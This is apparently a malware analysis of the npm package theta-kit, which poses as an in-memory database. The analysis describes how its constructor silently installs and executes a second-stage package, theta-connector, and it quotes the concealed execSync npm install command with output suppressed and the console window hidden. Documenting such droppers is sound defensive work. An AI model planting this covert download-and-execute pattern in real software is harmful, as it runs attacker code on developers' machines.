theta-kit@1.0.0

Analysis

Disguised as a mobx-backed in-memory database, the package is a stealth dropper for an attacker-controlled second-stage package named theta-connector. Its Model.resetor() routine (in dist/index.js) is invoked automatically from the Model constructor on any model instantiation: it tries to require('theta-connector') and, if absent, silently runs execSync('npm install theta-connector --no-warnings --no-save --no-progress --loglevel silent', {windowsHide:true}) to fetch it, then immediately requires it and calls db.queryDBConnect(), executing the downloaded code. This is remote code download-and-execute via a covert npm install with all output and the Windows console window suppressed; the actual payload lives in the separately-published theta-connector. child_process is declared as a direct dependency to enable execSync.